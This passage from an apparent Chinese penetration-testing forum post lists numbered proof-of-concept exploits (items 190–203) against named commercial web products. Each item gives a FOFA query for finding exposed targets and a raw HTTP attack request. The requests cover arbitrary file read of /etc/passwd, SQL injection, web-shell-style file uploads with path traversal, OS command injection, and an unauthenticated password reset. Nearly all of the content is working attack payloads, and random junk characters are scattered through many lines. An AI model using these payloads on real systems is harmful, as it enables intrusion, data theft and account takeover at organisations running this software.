6 F0 `5 z) f) Q. r7 P! ?; lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

  _- Y/ I/ F5 L7 r" s
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
/ g8 ]0 j* H9 u& k1 l) ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
6 J2 @* c' J' G8 I) L2 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
1 ]6 U1 M) q& Y, l- y) mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 U8 P% g4 v0 D6 Q1 G( }7 Z, H
poi=file:///etc/passwd

, n/ y: k" J% n3 ?5 a5 u
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
; k5 z' T1 n# W$ K* OPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
  o7 {. n/ \3 w6 D' A, J9 X3 CHost: your-ip
( X5 ~# r; J9 i# B; v6 C' y' I4 p. CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
2 ^8 R; j9 H( ^3 Q5 _1 E

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
5 j2 }) O9 {+ B, HPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


( V* A! B0 d3 u8 I4 M: w8 @<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
- J* Z8 K- |+ C/ z3 O# ]{ get { return true; } }
! d: k4 A$ Y7 S4 k. vpublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
" J5 I8 L/ f, v" X3 D* O! H}
3 I- G  E: m0 f# T}

0 G. e5 C$ i8 h$ C/ e" l
! S; Y$ Q& v- D# h. E193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 O# I5 D2 l: sFOFA：body="山石云鉴主机安全管理系统"
3 i( \4 c# N6 B, ]4 X; IGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
7 A: u( x9 H& Z2 K, D7 Q# CContent-Type: application/x-www-form-urlencoded
! u1 v  \) o. v, P, W7 O+ }User-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
: A1 H8 ]+ C+ B! m1 O" \/ X6 A% aAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
' U  A  I' @/ G2 j& i: a
& r. D- N# H: n3 f
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0

; I+ E2 C; I% }7 q2 }
. ~( q) u1 ?9 Q; }194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

6 ^) ^4 F8 H) sPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
/ }) a+ }9 H6 U8 C- w1 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
7 \1 l6 z4 p4 |: U0 G5 l1 R: q0 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 ^- A5 M- t, [$ d; e+ FAccept-Encoding: gzip, deflate
. I; h" c) U7 c$ W. S( z1 OConnection: close
0 q- f7 T* t8 L+ }$ P; }1 s: SContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
$ U7 p! i+ l( V' n) ~------WebKitFormBoundaryKNt0t4vBe8cX9rZk

4 n( g1 H( i, G! lContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
3 L. b4 Y2 @& y8 ]- VContent-Type: text/plain
7 M% T& C. ^+ z& p8 e. a<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% D$ a* @  o/ B* M  `( w) }2 ?Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
4 Q* p# C" N7 u! x$ k------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
2 s# J6 y" I2 W5 ~
5 G" w. k+ t0 X) V
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
  T2 h% @& h, \, s6 |' aHost: 127.0.0.1
Pragma: no-cache
' m2 e7 t! g$ w5 pCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 t( c- V8 i+ B) O0 V4 ?5 AAccept: */*
Accept-Encoding: gzip, deflate
, E! q; Y$ t- a% v- {Accept-Language: zh-CN,zh;q=0.9
9 s; c- n' z4 W% G# @6 ?Connection: close
8 J% Z% H" G$ e+ K- Z" u, s9 dContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

5 f# p3 O3 Q' h
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
% p! g* t# {; P5 KPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; v+ [5 e, h! K5 p, s6 wContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
$ Y& x( P' `7 `9 w# e  aAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
0 e( Q+ a9 L' n) _2 G. dConnection: close
  e: {; D' h+ ~
- H7 o% u% u* W' M/ B{"xgh":"test","newPass":"test666","email":""}
# T$ f6 ]  Y+ S* L


$ c4 X# m/ x) ]5 e197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
! Y: n" @2 R2 ]( i7 @; ?Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
" W( B; _' s* ^' _Accept-Encoding: gzip, deflate
% {$ Q/ C& C- \- n/ dConnection: close
* ~7 v% E+ i9 m' a$ p
  U0 A6 K# @8 \: E1 x7 t# k9 I
( }; L/ R& P! V
  c4 \/ _. e7 {. I: q7 g: p3 q: w198.  阿里云盘 WebDAV 命令注入
9 {0 q& ^, }9 k4 s3 ^CVE-2024-29640
6 H/ m2 i  J, t! i& h, k5 NGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
/ [8 K' J3 v; A6 z1 qCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
6 Y# Z/ y" \/ h- Z' R" m* ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
' g$ J# }5 Y: M# R
- {' H- l5 K# O7 ~& O
199. cockpit系统assetsmanager_upload接口 文件上传
. D8 k: A$ ?0 [+ Z3 V) Z/ \
0 M5 K6 B" ?& F& ?- ]+ D. L6 O1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

0 R/ a% ^/ A! [响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

0 f8 s9 V- R/ g7 Q8 V( H. OPOST /auth/check HTTP/1.1
Content-Type: application/json
/ A( ^, p3 g. J% y: V
, P; s5 s6 U! ~{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
% T% j( \" m- b7 G+ [
响应：200，返回值:
2 p: V6 W% M2 `4 @7 aSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
. I$ O, A# V+ [, D- PFofa：title="Authenticate Please!"
* g% @0 T8 }& d' r: r& W( w% @; x. ]POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
8 R0 u: R" b) b$ g+ N2 A* dCookie: mysession=95524f01e238bf51bb60d77ede3bea92
# Y. S9 h0 D( x- W' b. q# i+ X
-----------------------------36D28FBc36bd6feE7Fb3
! h& j# @8 _  p! f: f0 l8 {) hContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
0 z! c- T% y; SContent-Disposition: form-data; name="folder"

& o( k9 q! Z. K# q" p# g) S-----------------------------36D28FBc36bd6feE7Fb3--
( y8 q: w/ y: J6 m9 p- Z/ g) {

/storage/uploads/tttt.php

+ |1 m0 H/ |0 F7 A200. SeaCMS海洋影视管理系统dmku SQL注入
/ ?9 _, h3 Z& Q' C9 W+ ~. T0 o* [FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
; S8 t8 I& S% i! x& _' a- s& SUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
6 n; u- N8 Z+ L0 H6 e$ _Accept-Language: zh-CN,zh;q=0.9
7 D* I7 ?8 r% h
" T' \; j9 @: F) F1 F8 O) S
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
0 n, R. i5 a1 D4 y3 A* s$ gPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
( ?. {. k9 w% V% WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 T- h# K4 x; L$ J$ JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
3 K" l1 w% B. b/ I+ V; N% {

- {+ P% v1 r' m202. 微擎系统 AccountEdit任意文件上传
. m' z  K2 H, K) k9 ^! lFOFA：body="/Widgets/WidgetCollection/"
1 [8 H" b0 j) x1 b& v! M( ?获取__VIEWSTATE和__EVENTVALIDATION值
) x( q: G) l, RGET /User/AccountEdit.aspx HTTP/1.1
7 t4 J. b, d' OHost: 滑板人之家
9 j8 O7 b* I) o5 W6 t0 _; ^7 u9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
3 b1 Y1 g6 N$ Y6 Z  X  fContent-Length: 0
0 y! q. N% ]% r' q# {/ b1 B
8 n4 ^* y$ \$ ]8 V
8 r6 a' N& O2 n* T+ y替换__VIEWSTATE和__EVENTVALIDATION值
5 ?: m2 P4 l+ F! `' h; N+ n% tPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
. C( ]" t. N& b. c( o-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
$ }  X% v& b- j0 R& T! B-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

0 D4 ~7 y( K# pHello World!
  U3 }" v8 A: p& @7 W  U5 T. L-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

$ {$ ?3 M* A4 j& E% Q上传图片
-----------------------------786435874t38587593865736587346567358735687
: h$ G" a3 l5 M: y3 X0 [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


8 T9 Y7 X+ m& z' n7 J-----------------------------786435874t38587593865736587346567358735687
$ u8 U! Y( ?9 F7 a+ D- S# bContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

6 @6 r( p# l) L6 v. _
-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

7 J: |" m2 l: r. I, |1 s$ X  X. N203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
* h' z* J0 _. R" l. _POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
# `) d8 P5 R5 D* Y. t& h$ AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

+ N: }+ m* C" g, c------WebKitFormBoundaryt7WbDl1tXogoZys4
( |8 F; ]. w% ?/ ?Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
; z/ N4 D% M, }- x& q! W) }* H% H  d
/ B! V3 U, F* ?, q) ?. h& F<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

  G2 I% f8 T$ d7 k4 j% Z( a
( [5 k  J+ ~. u



: R, C3 s7 N& ^+ P' u

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2